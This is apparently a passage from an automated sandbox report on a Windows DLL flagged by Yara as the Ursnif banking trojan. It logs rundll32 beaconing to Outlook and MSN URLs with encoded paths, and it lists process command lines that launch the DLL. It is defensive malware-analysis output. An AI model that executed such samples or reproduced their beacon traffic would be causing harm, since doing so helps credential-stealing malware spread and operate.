2021-10-11 20:25:00 UTC	21	IN	HTTP/1.1 404 Not Found Content-Length: 1245 Content-Type: text/html Server: Microsoft-IIS/10.0 request-id: cc782159-69ef-cf03-4f21-5a1c9fd141af Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-CalculatedFETarget: VI1PR06CU004.internal.outlook.com X-BackEndHttpStatus: 404 X-FEProxyInfo: VI1PR06CA0144.EURPRD06.PROD.OUTLOOK.COM X-CalculatedBETarget: VI1P193MB0047.EURP193.PROD.OUTLOOK.COM X-BackEndHttpStatus: 404 X-RUM-Validated: 1 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 404 MS-CV: WSF4zO9pA89PIVocn9FBrw.1.1 X-FEServer: VI1PR06CA0144 X-Powered-By: ASP.NET X-FEServer: AM6P193CA0101 Date: Mon, 11 Oct 2021 20:25:00 GMT Connection: close
2021-10-11 20:25:00 UTC	22	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - Fil

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49762	40.97.164.146	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-11 20:23:36 UTC	2	OUT	GET /signup/liopolo/yxX7bEpX8fkEJbVyh9/qWpi3f2OW/wrbjI8c5A6cpHeOUtqJL/SsvBBOkr1Vxt3lBY9zj/5j0TGmFjnVfmYPqQrqQKOy/CuHlAfsl6J0Xl/Gz8IEoLZ/BwAkxXP5B5W2_2BPU7pGqQ9/BHC7nncuP2/eu0pY6BQJ958LuV7I/fzySs8nJ5lF3/1CG1ppCNJBl/xHTFfKCof0ib7S/py_2F4IYCav_2Ftxe98nI/nZH.jre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: outlook.com
2021-10-11 20:23:36 UTC	3	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://www.outlook.com/signup/liopolo/yxX7bEpX8fkEJbVyh9/qWpi3f2OW/wrbjI8c5A6cpHeOUtqJL/SsvBBOkr1Vxt3lBY9zj/5j0TGmFjnVfmYPqQrqQKOy/CuHlAfsl6J0Xl/Gz8IEoLZ/BwAkxXP5B5W2_2BPU7pGqQ9/BHC7nncuP2/eu0pY6BQJ958LuV7I/fzySs8nJ5lF3/1CG1ppCNJBl/xHTFfKCof0ib7S/py_2F4IYCav_2Ftxe98nI/nZH.jre Server: Microsoft-IIS/10.0 request-id: 6d1b24da-1cc8-ee3a-1519-89c9b908c7bd Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: DM5PR12CA0059 X-RequestId: d1ffad17-cc5f-4b5d-b74b-6b7051898e88 MS-CV: 2iQbbcgcOu4VGYnJuQjHvQ.0 X-Powered-By: ASP.NET X-FEServer: DM5PR12CA0059 Date: Mon, 11 Oct 2021 20:23:36 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49763	40.101.91.82	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-11 20:23:36 UTC	3	OUT	GET /signup/liopolo/yxX7bEpX8fkEJbVyh9/qWpi3f2OW/wrbjI8c5A6cpHeOUtqJL/SsvBBOkr1Vxt3lBY9zj/5j0TGmFjnVfmYPqQrqQKOy/CuHlAfsl6J0Xl/Gz8IEoLZ/BwAkxXP5B5W2_2BPU7pGqQ9/BHC7nncuP2/eu0pY6BQJ958LuV7I/fzySs8nJ5lF3/1CG1ppCNJBl/xHTFfKCof0ib7S/py_2F4IYCav_2Ftxe98nI/nZH.jre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: www.outlook.com
2021-10-11 20:23:36 UTC	4	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://outlook.office365.com/signup/liopolo/yxX7bEpX8fkEJbVyh9/qWpi3f2OW/wrbjI8c5A6cpHeOUtqJL/SsvBBOkr1Vxt3lBY9zj/5j0TGmFjnVfmYPqQrqQKOy/CuHlAfsl6J0Xl/Gz8IEoLZ/BwAkxXP5B5W2_2BPU7pGqQ9/BHC7nncuP2/eu0pY6BQJ958LuV7I/fzySs8nJ5lF3/1CG1ppCNJBl/xHTFfKCof0ib7S/py_2F4IYCav_2Ftxe98nI/nZH.jre Server: Microsoft-IIS/10.0 request-id: f7569adb-4650-dae2-9c11-70866ed53d1f Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: AM6PR10CA0038 X-RequestId: 462b7eda-63f1-4417-bdce-c932f36b8bb1 MS-CV: 25pW91BG4tqcEXCGbtU9Hw.0 X-Powered-By: ASP.NET X-FEServer: AM6PR10CA0038 Date: Mon, 11 Oct 2021 20:23:36 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	49764	52.97.183.162	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-11 20:23:36 UTC	5	OUT	GET /signup/liopolo/yxX7bEpX8fkEJbVyh9/qWpi3f2OW/wrbjI8c5A6cpHeOUtqJL/SsvBBOkr1Vxt3lBY9zj/5j0TGmFjnVfmYPqQrqQKOy/CuHlAfsl6J0Xl/Gz8IEoLZ/BwAkxXP5B5W2_2BPU7pGqQ9/BHC7nncuP2/eu0pY6BQJ958LuV7I/fzySs8nJ5lF3/1CG1ppCNJBl/xHTFfKCof0ib7S/py_2F4IYCav_2Ftxe98nI/nZH.jre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: outlook.office365.com
2021-10-11 20:23:36 UTC	5	IN	HTTP/1.1 404 Not Found Content-Length: 1245 Content-Type: text/html Server: Microsoft-IIS/10.0 request-id: 4a6581a2-619b-52fc-a3a1-1b46c2d11731 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-CalculatedFETarget: AM0PR02CU005.internal.outlook.com X-BackEndHttpStatus: 404 X-FEProxyInfo: AM0PR02CA0158.EURPRD02.PROD.OUTLOOK.COM X-CalculatedBETarget: AM0PR0302MB3315.eurprd03.prod.outlook.com X-BackEndHttpStatus: 404 X-RUM-Validated: 1 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 404 MS-CV: ooFlSpth/FKjoRtGwtEXMQ.1.1 X-FEServer: AM0PR02CA0158 X-Powered-By: ASP.NET X-FEServer: AM7PR03CA0005 Date: Mon, 11 Oct 2021 20:23:36 GMT Connection: close
2021-10-11 20:23:36 UTC	6	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - Fil

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.7	49765	40.97.164.146	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-11 20:23:37 UTC	7	OUT	GET /signup/liopolo/f5kvQFsIv4wED/j69h8mSZ/xzzTxsSNNb1pIF2nd0zyLKL/oW0UsUUi2h/1n_2FrPb8KlH0Zm6I/DMN_2B2Rb3dP/VgvW0BFn0fE/SZJzWGdiy3m5qM/ymewVR1TpC9Ou3wlV9Okm/omWH_2FxfhHZzw96/HP0eihm9FW1uN9V/ykWA9NBBnDVcWXTKfE/JwgC0Jx4CafbQ/qgLsjM_2/F.jre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: outlook.com
2021-10-11 20:23:37 UTC	7	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://www.outlook.com/signup/liopolo/f5kvQFsIv4wED/j69h8mSZ/xzzTxsSNNb1pIF2nd0zyLKL/oW0UsUUi2h/1n_2FrPb8KlH0Zm6I/DMN_2B2Rb3dP/VgvW0BFn0fE/SZJzWGdiy3m5qM/ymewVR1TpC9Ou3wlV9Okm/omWH_2FxfhHZzw96/HP0eihm9FW1uN9V/ykWA9NBBnDVcWXTKfE/JwgC0Jx4CafbQ/qgLsjM_2/F.jre Server: Microsoft-IIS/10.0 request-id: d574ae41-5ffa-a7f2-a157-9e14ff00da45 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: DM5PR12CA0059 X-RequestId: 610fa43b-ed9f-41be-a771-e616baf7de16 MS-CV: Qa501fpf8qehV54U/wDaRQ.0 X-Powered-By: ASP.NET X-FEServer: DM5PR12CA0059 Date: Mon, 11 Oct 2021 20:23:37 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.7	49766	52.97.151.114	443	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-11 20:23:37 UTC	8	OUT	GET /signup/liopolo/f5kvQFsIv4wED/j69h8mSZ/xzzTxsSNNb1pIF2nd0zyLKL/oW0UsUUi2h/1n_2FrPb8KlH0Zm6I/DMN_2B2Rb3dP/VgvW0BFn0fE/SZJzWGdiy3m5qM/ymewVR1TpC9Ou3wlV9Okm/omWH_2FxfhHZzw96/HP0eihm9FW1uN9V/ykWA9NBBnDVcWXTKfE/JwgC0Jx4CafbQ/qgLsjM_2/F.jre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: www.outlook.com
2021-10-11 20:23:37 UTC	8	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://outlook.office365.com/signup/liopolo/f5kvQFsIv4wED/j69h8mSZ/xzzTxsSNNb1pIF2nd0zyLKL/oW0UsUUi2h/1n_2FrPb8KlH0Zm6I/DMN_2B2Rb3dP/VgvW0BFn0fE/SZJzWGdiy3m5qM/ymewVR1TpC9Ou3wlV9Okm/omWH_2FxfhHZzw96/HP0eihm9FW1uN9V/ykWA9NBBnDVcWXTKfE/JwgC0Jx4CafbQ/qgLsjM_2/F.jre Server: Microsoft-IIS/10.0 request-id: d4464c06-3114-7586-23c3-25ff50d01eb3 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: AM6P193CA0066 X-RequestId: 400f9696-6aba-4248-82af-0dd429669fdb MS-CV: BkxG1BQxhnUjwyX/UNAesw.0 X-Powered-By: ASP.NET X-FEServer: AM6P193CA0066 Date: Mon, 11 Oct 2021 20:23:36 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.7	49767	52.97.183.162	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-11 20:23:37 UTC	9	OUT	GET /signup/liopolo/f5kvQFsIv4wED/j69h8mSZ/xzzTxsSNNb1pIF2nd0zyLKL/oW0UsUUi2h/1n_2FrPb8KlH0Zm6I/DMN_2B2Rb3dP/VgvW0BFn0fE/SZJzWGdiy3m5qM/ymewVR1TpC9Ou3wlV9Okm/omWH_2FxfhHZzw96/HP0eihm9FW1uN9V/ykWA9NBBnDVcWXTKfE/JwgC0Jx4CafbQ/qgLsjM_2/F.jre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: outlook.office365.com
2021-10-11 20:23:37 UTC	9	IN	HTTP/1.1 404 Not Found Content-Length: 1245 Content-Type: text/html Server: Microsoft-IIS/10.0 request-id: 3d79bdb5-66ac-6d20-1236-ee020757b4df Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-CalculatedFETarget: DU2PR04CU011.internal.outlook.com X-BackEndHttpStatus: 404 X-FEProxyInfo: DU2PR04CA0330.EURPRD04.PROD.OUTLOOK.COM X-CalculatedBETarget: DB6PR03MB2838.EURPRD03.PROD.OUTLOOK.COM X-BackEndHttpStatus: 404 X-RUM-Validated: 1 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 404 MS-CV: tb15PaxmIG0SNu4CB1e03w.1.1 X-FEServer: DU2PR04CA0330 X-Powered-By: ASP.NET X-FEServer: AM7PR03CA0017 Date: Mon, 11 Oct 2021 20:23:37 GMT Connection: close
2021-10-11 20:23:37 UTC	10	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - Fil

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.7	49810	13.82.28.61	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-11 20:24:17 UTC	11	OUT	GET /mail/liopolo/A1Qp_2BWzai2O5/xac_2BRG3wzSilIBjQnWR/yH8MK_2FDeyVZ7zs/MmgvT5kbS5J14SI/50tiJJe1m8aJQ2XT7T/rIRQt7iCb/CwoKyLq7nfSWQHvgpN7o/BCyQHF5XZOebIuFzT_2/BFFOtw4QHhKTLswkkvF9vD/aY9DT6JVICQxS/piqcZUHz/pQlXCrwUL0BTmEd_2FLWL2L/RH2uj8PySJ/d2LKLIyBddk3_2FhT/H.jre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: msn.com
2021-10-11 20:24:17 UTC	12	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=UTF-8 Location: https://www.msn.com/mail/liopolo/A1Qp_2BWzai2O5/xac_2BRG3wzSilIBjQnWR/yH8MK_2FDeyVZ7zs/MmgvT5kbS5J14SI/50tiJJe1m8aJQ2XT7T/rIRQt7iCb/CwoKyLq7nfSWQHvgpN7o/BCyQHF5XZOebIuFzT_2/BFFOtw4QHhKTLswkkvF9vD/aY9DT6JVICQxS/piqcZUHz/pQlXCrwUL0BTmEd_2FLWL2L/RH2uj8PySJ/d2LKLIyBddk3_2FhT/H.jre Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Mon, 11 Oct 2021 20:24:17 GMT Connection: close Content-Length: 400
2021-10-11 20:24:17 UTC	12	IN	Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 73 6e 2e 63 6f 6d 2f 6d 61 69 6c 2f 6c 69 6f 70 6f 6c 6f 2f 41 31 51 70 5f 32 42 57 7a 61 69 32 4f 35 2f 78 61 63 5f 32 42 52 47 33 77 7a 53 69 6c 49 42 6a 51 6e 57 52 2f 79 48 38 4d 4b 5f 32 46 44 65 79 56 5a 37 7a 73 2f 4d 6d 67 76 54 35 6b 62 53 35 4a 31 34 53 49 2f 35 30 74 69 4a 4a 65 31 6d 38 61 4a 51 32 58 54 37 54 2f 72 49 52 51 74 37 69 43 62 2f 43 77 6f 4b 79 4c 71 37 6e 66 53 57 51 48 76 67 70 Data Ascii: <head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF="https://www.msn.com/mail/liopolo/A1Qp_2BWzai2O5/xac_2BRG3wzSilIBjQnWR/yH8MK_2FDeyVZ7zs/MmgvT5kbS5J14SI/50tiJJe1m8aJQ2XT7T/rIRQt7iCb/CwoKyLq7nfSWQHvgp

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.7	49815	13.82.28.61	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-11 20:24:18 UTC	13	OUT	GET /mail/liopolo/pf6_2FLREfP_2FxP/xGe8YUjshftOGCf/JTttK9QVtKrTS7QkWE/ZPLHtzaUx/XGEoZcanWnYYYh5pU8Em/GLDLy5GpGXwcg_2Bwck/kT4Zd7sERIG_2Bba1DdBVT/1BoxASA_2FDOZ/PsNxvKNH/RweAmXaL_2B7o4rtkWRlTX9/6ZU5YSIMnk/yFSTinelYwomOZkWD/rkossiVbXA0U/C_2FCIlnEO_/2FzjQ_2By_2FPmxqq/uw86.jre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: msn.com
2021-10-11 20:24:18 UTC	13	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=UTF-8 Location: https://www.msn.com/mail/liopolo/pf6_2FLREfP_2FxP/xGe8YUjshftOGCf/JTttK9QVtKrTS7QkWE/ZPLHtzaUx/XGEoZcanWnYYYh5pU8Em/GLDLy5GpGXwcg_2Bwck/kT4Zd7sERIG_2Bba1DdBVT/1BoxASA_2FDOZ/PsNxvKNH/RweAmXaL_2B7o4rtkWRlTX9/6ZU5YSIMnk/yFSTinelYwomOZkWD/rkossiVbXA0U/C_2FCIlnEO_/2FzjQ_2By_2FPmxqq/uw86.jre Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Mon, 11 Oct 2021 20:24:18 GMT Connection: close Content-Length: 409
2021-10-11 20:24:18 UTC	14	IN	Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 73 6e 2e 63 6f 6d 2f 6d 61 69 6c 2f 6c 69 6f 70 6f 6c 6f 2f 70 66 36 5f 32 46 4c 52 45 66 50 5f 32 46 78 50 2f 78 47 65 38 59 55 6a 73 68 66 74 4f 47 43 66 2f 4a 54 74 74 4b 39 51 56 74 4b 72 54 53 37 51 6b 57 45 2f 5a 50 4c 48 74 7a 61 55 78 2f 58 47 45 6f 5a 63 61 6e 57 6e 59 59 59 68 35 70 55 38 45 6d 2f 47 4c 44 4c 79 35 47 70 47 58 77 63 67 5f 32 42 77 63 6b 2f 6b 54 34 5a 64 37 73 45 52 49 47 5f 32 Data Ascii: <head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF="https://www.msn.com/mail/liopolo/pf6_2FLREfP_2FxP/xGe8YUjshftOGCf/JTttK9QVtKrTS7QkWE/ZPLHtzaUx/XGEoZcanWnYYYh5pU8Em/GLDLy5GpGXwcg_2Bwck/kT4Zd7sERIG_2

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 6116 Parent PID: 5632

General

Start time:	22:20:56
Start date:	11/10/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\B6VQd36tt6.dll'
Imagebase:	0xfc0000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.638534724.0000000002D1F000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.506367708.0000000003098000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.550238977.0000000002F1B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.506469970.0000000003098000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.506985927.0000000003098000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.506632233.0000000003098000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.506394245.0000000003098000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.506684501.0000000003098000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000000.00000003.455038196.0000000000850000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000002.783361786.0000000002CA0000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.506547628.0000000003098000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.506326169.0000000003098000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000000.00000002.783230082.0000000002B79000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.595315126.0000000002E1D000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.506579239.0000000003098000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	moderate

Analysis Process: cmd.exe PID: 4024 Parent PID: 6116

General

Start time:	22:20:57
Start date:	11/10/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\B6VQd36tt6.dll',#1
Imagebase:	0x870000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: rundll32.exe PID: 4892 Parent PID: 6116

General

Start time:	22:20:57
Start date:	11/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\B6VQd36tt6.dll,BeGrass
Imagebase:	0x1010000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000002.00000003.418099861.0000000000A60000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: rundll32.exe PID: 4720 Parent PID: 4024

General

Start time:	22:20:57
Start date:	11/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\B6VQd36tt6.dll',#1
Imagebase:	0x1010000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.499708236.00000000057E8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000002.785119761.00000000053F0000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.498145572.00000000057E8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000003.419038437.0000000003030000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.500076992.00000000057E8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.636450090.000000000546F000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.499560563.00000000057E8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.497950814.00000000057E8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.498605690.00000000057E8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.499306032.00000000057E8000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.499390422.00000000057E8000.00000004.00000040.sdmp, Author: Joe Security Rule: 